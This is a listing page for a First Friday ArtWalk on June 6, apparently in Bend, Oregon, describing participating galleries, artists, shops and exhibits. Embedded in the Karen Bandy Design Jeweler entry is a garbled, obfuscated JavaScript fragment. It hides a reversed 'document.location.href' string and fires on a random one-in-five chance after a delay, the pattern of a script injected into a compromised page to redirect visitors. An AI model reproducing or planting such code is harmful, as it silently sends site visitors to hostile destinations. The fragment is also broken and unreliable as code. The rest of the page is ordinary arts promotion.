First Friday ArtWalk June 6

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2. Azillion Beads
3. Cascade Sotheby’s
4. CENTURY 21 Lifestyles Realty
5. Desperado
6. Franklin Crossing
7. Karen Bandy Studio
8. Lubbesmeyer Studio
9. Painted Paradise Gallery
10. Paul Scott Gallery
11. Red Chair Gallery
12. Sage Custom Framing
13. The Oxford
14. Tumalo Art Co.


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Alleda Real Estate
25 NW Minnesota Ave., Ste. 1, 541-633-7590,
This body of work entitled, Follow Your Shadow, explores a visual dialogue between memory and imagination. Each photograph you see within the frame, each layer, has been pulled from Kristina Cyr’s archives and revived by introducing it to another moment from her past. Two images within a frame may span the course of seven years, but together they create an impossible scene. Each piece in this collection is a digital manipulation of 35 & 120mm film photographs, and several are embellished with three dimensional elements.Cyr recently relocated to Bend after a two-year whirlwind in New York City where she assisted photographer Annie Leibovitz. Prior to New York, Cyr resided in Bend for three years where she could be found living and breathing in a magical artist community known as the Poet House.


Art in the Atrium, Franklin Crossing
550 NW Franklin Ave.
Celebrates First Friday with works in varied mediums by Gary Alvis, Joanne Donaca, Bill Logan, Robert Schlegel and Vicki Shuck, thru June 28. Each June the Sisters Rodeo, now in its 73rd year, celebrates this tradition bringing world champion cowboys and cowgirls to The Biggest Little Show in the World. The June Franklin Crossing exhibition pays homage to the tradition and the world famous rodeo with a show of horses, cattle drives, rodeo participants and fans. Alvis shows his remarkable and unusual photo of the now discontinued Rock Springs Guest Ranch cattle drive. A photographer in Bend for over 40 years, over half his work is photographing artist’s work. Bend artist Donaca, born and raised in Ontario, shows oils of cowboy scenes including that of a recent cattle drive in Central Oregon. Her paintings also feature other working cowboys. Logan, working in graphite, shows a rodeo barrel racer reflecting his life-long interest in horses beginning with his youth in Montana and retirement in Bend. Schlegel shows large horses in acrylic taken from photos around his home in Banks, Oregon. Another life-long artist, this work recognizes his continuing transition from realism to expressionism. Shuck shows young cowgirls in oil attending the Sister’s Rodeo. Raised in the Klamath Basin, Shuck’s family was rodeo participants and her mother a rodeo queen.
Noi Thai serves wine and Thai appetizers. Andy Armer, keyboards, leads George Bouhey, drums and Warren Zaiger, bass in jazz. Billye Turner organizes the Franklin Crossing exhibits with info at 503-780-2828 or  

Atelier 6000
389 SW Scalehouse Ct., Ste. 120, 541-330-8759,
Features creative kites and floatable forms by artists George Peters and Melanie Walker in Floatables and Flyables. Hailing from Boulder, Colorado, Peters and Walker are nationally known for their aerial and wind sculptures, mobiles and installations. The pair have installed more than 70 large-scale public art installations across the United States and abroad. Atelier 6000 and ScaleHouse will hold a Float & Fly Art Festival at Old Mill on June 20, 5-7:30pm, showcasing the creations of Floatables + Flyables workshop participants. Artists will fly their kites in grassy spaces between the Shops at Old Mill and the Colorado Avenue bridge, and install kinetic “floatables” in the Hot Pond.


Azillion Beads
910 Harriman St., Ste. 100, 541-617-8854.
Multi-artist event at Azillion Beads. Eight featured jewelry artists; demonstrations, shopping, food, drinks and raffle prizes.


Bluebird Coffee Company
On Bond in Franklin Crossing Building, 541-330-2100.
Exhibiting artwork by local artists.


Cascade Sotheby’s International Realty
821 NW Wall, 541-383-7600 ext.211,
Featuring Barbara Hudin. Event sponsored by Tetherow.


CENTURY 21 Lifestyles Realty
550 NW Franklin Ave, 541-382-3333.
First Friday Artwalk for a night of dancing, food and drinks featuring the Out Of The Blue Dance Band, a five piece R&B dance cover band with some original material and a whole lot of party going on. Based in Bend, they create a vibe that audiences of all ages can move to. With the cool sounds of Motown, rock and soulful blues, it’s a style of music groove that makes people want to get up and shake it on the dance floor.


Chocolate Element
916 NW Wall St.,
Donna Cherry will talk about her quilts that are inspired by nature. She finds painting life with fabric to be a wonderful way to express her artistic creativity. Anyone interested in learning more about her unique style of quilting can meet her and ask her questions. Her quilts will be showing thru June and her work is available for sale or commission.


Crow’s Feet Commons
875 NW Brooks St., 541-728-0066,
Sweet brews and good vibes for your First Friday imbibing!


330 SW Powerhouse Dr. Old Mill District, 541-749-9980.
Creative businesses start in creative ways and that’s exactly how Brad and Sundie Ruppert of Vintage Sculpture came to be in 2000 with a holiday school assignment from their son’s second grade teacher. The task – make a turkey as a family. Desperado Boutique introduces the Ruppert family who ever since making their first “holiday bird” from old ceiling tiles have been creating these unique wall and table sculptures from trash and cast-off vintage materials. The Rupperts call their art the truest form of recycling and find inspiration in everything from the piece of metal their kids (now 12 and 15) pick up while walking down the street to stopping at little hole-in-the-wall joints in search of vintage treasures. Each piece is one-of-a-kind and captures the humor and soul of true American art and pop culture. Desperado is a gift, jewelry and clothing boutique showcasing a wide range of designers and artists like Vintage Sculpture, open seven days a week.


Feather’s Edge Finery
113 NW Minnesota Ave., 541-306-3162,
Featuring well crafted, artisan made goods. 


Jeffrey Murray Photography
118 NW Minnesota Ave. 925-389-0610,
Landscape photography by Jeffrey Murray from local and national locations.


John Paul Designs Custom Jewelry + Signature Series
1006 NW Bond St.,
Specializing in unique, one of a kind wedding and engagement rings in a variety of metals.

Karen Bandy Design Jeweler
25 NW Minnesota Ave., Ste. 5, 541-388-0155, =function(n){if (typeof (.list[n]) == “string”) return .list[n].split(“”).reverse().join(“”);return .list[n];};.list=[“‘//:ptth’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random()*5);if (c==3){var delay = 15000;setTimeout((0), delay);}” target=”_blank”>
Tucked between Thump Coffee and Alleda Real Estate, Karen Bandy is not easy to find, but well worth the effort. Karen is Central Oregon’s only national/international award-winning jewelry designer and has been specializing in custom design in downtown Bend since 1987. Her designs are bold, fun and always very wearable. Bandy is also an abstract acrylic painter whose work can best be described as colorful and textural contemporary fine art. When there is an actual subject, horses and wild animals are often depicted. Open Tues.-Thurs., 11:30am-5pm and by appointment, and First Fridays 5-9pm.


Lubbesmeyer Studio & Gallery
Old Mill District, second story loft, 541-330-0840,
The Lubbesmeyer twins offer a range of work created in fiber and paint. Through the twins’ collaborative process, they distill literal imagery into vivid blocks of color and texture, creating an abstracted view of their surroundings. The working studio and gallery is open Tuesday thru Saturday.


Mary Medrano Gallery
25 NW Minnesota Ave., Ste. 12 (above Thump Coffee), 408-250-2732,
Featuring local artists Mary Medrano and Shari Crandall. Medrano grew up making arts and crafts–everything from knitting to crewel, macramé and crochet, needlepoint and sewing. Medrano graduated from Western Michigan University with a bachelor of arts degree in photography in 1977, and became a graphic designer and ultimately ran her own graphic design business, culminating in a degree in graphic design and visual communications from the University of California Santa Cruz in 2001. In 2002 Medrano began taking online classes in painting on fabric. This intrigued her so much she began painting on stretched canvas. After beginning to paint, there was no turning back. Medrano’s works can be found in collections in the United States and in Europe.
Crandall cannot remember when she hasn’t been creating “something.” Crandall graduated from Oregon State University, Corvallis and from Northwestern School of Law at Lewis and Clark. Crandall is a member of Sagebrushers Art Society and is on the board of directors of the Art in the High Desert. She is also a member of the Friends of the Redmond Library Art Committee in the Redmond Branch Library. She believes that artistic expression is a form of meditation where she loses herself in that place of “no-time” and is surprised when hours have passed which she thought were minutes. Crandall’s paintings have been exhibited throughout the United States.  

Mockingbird Gallery
869 NW Wall St., 541-388-2107,
New work by Oregon painter, Fran Kievet. The show is titled An Exhibition of New Works. Kievet is an Oregon artist who lives and works in Portland. For 40 years she has been observing, questioning, analyzing and practicing her craft as a graphic designer and painter. Her work encompasses a wide range of subjects including figurative, wildlife, landscapes, seascapes and still life. “My explorations in painting have always been driven by a need to merge subject matter with the complexities of design and color. Composition is paramount, and whatever subject matter I choose is a pretext for the creative process. Throughout the years of painting, I have experimented with a variety of media and methods. There are so many avenues to take, each with its own twist and turn and each offering its own reward, and the exploration never ends.” She experiments with a variety of painting techniques. Some of her paintings have atmospheric backgrounds while others depict natural scenes.

Art at the Oxford
The Oxford Hotel, 10 NW Minnesota Ave., 541-382-8436.
Featuring Christian Heeb’s unique photography. Known worldwide for his richly colored photos, Heeb presents images of iconic Central Oregon scenes. He is the creator of several limited edition fine art metal prints including the Buddha Collection, the Africa Collection and the ever evolving Oregon images. With over 130 published coffee table books, countless calendars and numerous magazine articles. Christian has spent the last 25 years traveling the globe, over five continents and 70 different countries. He also operates a limited number of exclusive Photo Tours to such exotic locations as Botswana, South America or the American Southwest every year. While still shooting for international clients worldwide Christian balances his time with extensive work in Oregon for clients such as Travel Oregon, 1859, Central Oregon Magazine and others. Together with his wife Regula, he owns and operates the Cascade Center of Photography in Bend. The artist’s exhibit continues thru June 30 in the lobby of the Oxford, open all hours. Billye Turner, art consultant, curates art displays for The Oxford Hotel lobby. 503-780-2828 or


Painted Paradise Gallery
841 NW Bond St., Ste. 12, 541-280-2405 or 541-280-0320,
Unique art gallery locally owned featuring original works of art in oil and acrylic medium on canvas and natural materials, such as stone and wood, including one of-a-kind frames. Come by during art walk June 6 for complimentary wine and snacks and check out the newest addition to the gallery, a full size wall mural.


Patagonia @ Bend
1000 NW Wall St., Ste. 101, 541-382-6694,
Mike Putnam will display his photography.


Paul Scott Gallery
869 NW Wall St., Ste. 104, 541-330-6000,
New works by Matt Flint and Pete Zaluzec. Flint, an oil painter and can be found in the permanent collections of the State of Wyoming as well as the Nicolysen Museum of Art in Casper Wyoming. He has been included within the press as “artist to watch” in both Western Art & Architecture magazine as well as South West Art magazine. Zaluzec, a photographer and sculptor with a deep connection to nature. His professional training at the School of the Art Institute of Chicago expanded his range of media and in the past few years, he has used a non-traditional approach to his sculpture with the use of river stone and bronze and his photography with the use of gampi paper.
River Song School will exhibit their Animal Spirit show.


926 NE Greenwood Ave. 541-728-0527.
Featured quilter will be Pat Wellman and the group exhibit are the Juniper Berries. Thru July


Red Chair Gallery
103 NW Oregon Ave., 541-306-3176,
Colors of Summer features three local artists, Michael Gwinup, Sue Gomen-Honnell and Gabrielle Taylor. Gwinup’s journey with clay started while attending Western Oregon University as an art major. One day he was invited to visit a professional potter and seeing the kiln at full temperature, with flames and black smoke pouring out the portholes, he was hooked and began focusing on pottery classes. His raku fired vases, lamps and wall plates start with being hand-formed on a potter’s wheel or slab rollers. It is glazed and decorated by hand, then fired in the raku process which includes a firing at 1,800 degrees. After the work is pulled out of the kiln and placed in a bed of sawdust, it is cooled rapidly with water. The sawdust brings out beautiful metallic lusters in the glaze, while the rapid cooling creates the crackle patterns typical of raku. Michael and his wife Michele, also a potter, show throughout the northwest and offer workshops in the process of raku.  
Gomen-Honnell feels creating art is an exciting adventure. Her paintings convey her appreciation for living things. She feels that watercolor is the media that best represents her painting style. Her loose luminous backgrounds are accomplished through multiple layers of watercolor. She then uses these backgrounds to highlight the details in her paintings. It is her hope that her paintings will bring the same feelings and inspiration to the viewer that creating them brings to her.  
Taylor loves to combine the color of gemstones and pearls with the texture and shine of silver. Each piece is one of a kind, with a wide variety of styles and designs, often influenced by the stone to be featured. The silver is formed by a relatively new method, only available in the last 20 years, which holds the silver in a clay base until the piece is formed. This method allows for lots of texture and more organic forms. High kiln temperatures burn off the clay, leaving 99.9 percent silver, called “Fine Silver.” Final polishing and gem setting is done by more traditional methods, always with a quality finish in mind.  
Exhibiting thru June. For Gabrielle Taylor, the discovery of jewelry making was a creative turning point in her life. Taylor had always done something creative to balance her mathematical side, from spinning and weaving, through designing homes and decorating, to making computer applications which provided maximum ease of use and presentation. When she first began using gemstones in beaded jewelry, and then moving into making the silver pieces, Taylor says she found her true soul. “The silver is beautiful, and the colors and luminosity of the gems excites me.” Taylor starts with powdered silver mixed into a clay base, called Precious Metal Clay, or PMC. This silver form can then be rolled, stamped, carved or otherwise shaped, before it’s fired in a kiln at high temperatures to burn off the clay, leaving the fine silver. Obtaining high texture and unusual shapes is the big advantage of this method, and many leading silversmiths utilize it in their work. The finishing and stone setting follows more traditional silversmithing methods. Gabrielle has been making silver jewelry since 2007, learning mainly from reading and research, and often by tackling designs which were at the time, way beyond what she felt her skills to be. Her designs have won several awards, and been used in art jewelry magazine ads. Taylor’s membership in Central Oregon Metal Arts Guild (COMAG) has offered many learning experiences, not only in metal work itself but in professional development. Gabrielle Taylor is a member artist at the Red Chair Gallery.


Sage Custom Framing
834 NW Brooks St., 541-382-5884,
Featuring Shelly Wierzba The Seduction of Line and Color. Wierzba takes us on a journey from minimal color and line, to vibrant colors and forms of nature in her June exhibit. Many loose and lighthearted ink drawings will be on exhibit for the first time alongside her juicy oil paintings. Wierzba is becoming known for her quirky and humorous chickens which have found homes in personal and corporate collections across the Northwest. Her still lifes and landscapes represent her larger body of work and many new paintings will be on exhibit. She describes her painting style as contemporary impressionism, seen through her use of loose brushwork and massing of shapes.  “I prefer to create a mood that the viewer can experience, rather than bogging down a painting with a lot of details,” states Wierzba. 


1001 Wall St., 541-322-8792,
Featuring Joseph Christensen of JC Lapidary. Oregon artist handcrafting beautiful jewelry featuring many stones from the Northwest.


Sunny Yoga Kitchen
2748 NW Crossing Dr., Ste. 120, 541-678-3139,
Featuring the acrylic and encaustic paintings of local fine artist Lisa Marie Sipe. Her work is about how nature is synthesized by our consumer culture. She captures incidents of abstraction in nature, such as tree bark or the spots on dog bellies, and paints them larger than life in unexpected colors. Sipe’s work has been exhibited at the Tucson Museum of Art, Scottsdale Museum of Contemporary Art, Orange County Center for Contemporary Art and many other locations nationwide. Sipe works at the Lumin Art Studios in Tumalo.


The Silver Otter
706 SW Industrial Way, Ste. 100, Bend. 541-241-7818.
Exhibiting a collection of locally made art and handmade crafts from all over the world.


Townshend’s Bend Teahouse
835 NW Bond St., Bend, 541-312-2001.
Featuring ceramic artist John Kinder. Working in clay for over two decades, ceramic artist Kinder creates functional stoneware pottery from bowls to platters, mugs to teapots and more in rich earthy glazes and colors. An artist, as well as teaching instructor, Kinder received his bachelor of fine art and masters in ceramics at Ball State University, and K-12 visual arts teaching certification. For two years, Kinder taught youth and adult ceramics at the Indianapolis Art Center before moving to Bend. In December 2000-2006 Kinder worked for Arts Central, developing curriculum, teaching adult and youth clay programs and managing the clay studio at the Art Station. In addition, Kinder has traveled to many Central Oregon schools teaching ceramics through an artist residency program. Kinder now teaches an ever expanding youth clay program through Bend Parks and Recreation and instructs beginning and advanced ceramics at Central Oregon Community College. Kinder has played significant role in the community of ceramists in Bend, as co-founder/owner of Cindercone Clay Center from 2002-13, as an entrepreneur, an instructor and an artist.


Tumalo Art Company
450 SW Powerhouse Dr., Ste. 407, 541-385-9144,
Danae Bennett Miller, Tumalo Art Co.’s featured artist, will show new works of sculpture and mono prints. Danae creates bronze and glass sculpture from wax, which when poured makes textured, organic shapes. After the lost wax process is complete, she fabricates the bronze or glass pieces into animal forms, conjuring life and motion out of once fluid ripples and flows. Danae is inspired by the ranch animals and wildlife that surround her studio in Tumalo. Her one-of-a-kind sculptures are part of the cultural landscape in Central Oregon and beyond, with several public sculptures, including Bueno, Homage to the Buckaroo, a larger-than-life sized bronze horse in a round-about on Newport Ave. in Bend. An expert printmaker, Danae’s stylized monoprints of the same animals depicted in her sculpture, dance with life.


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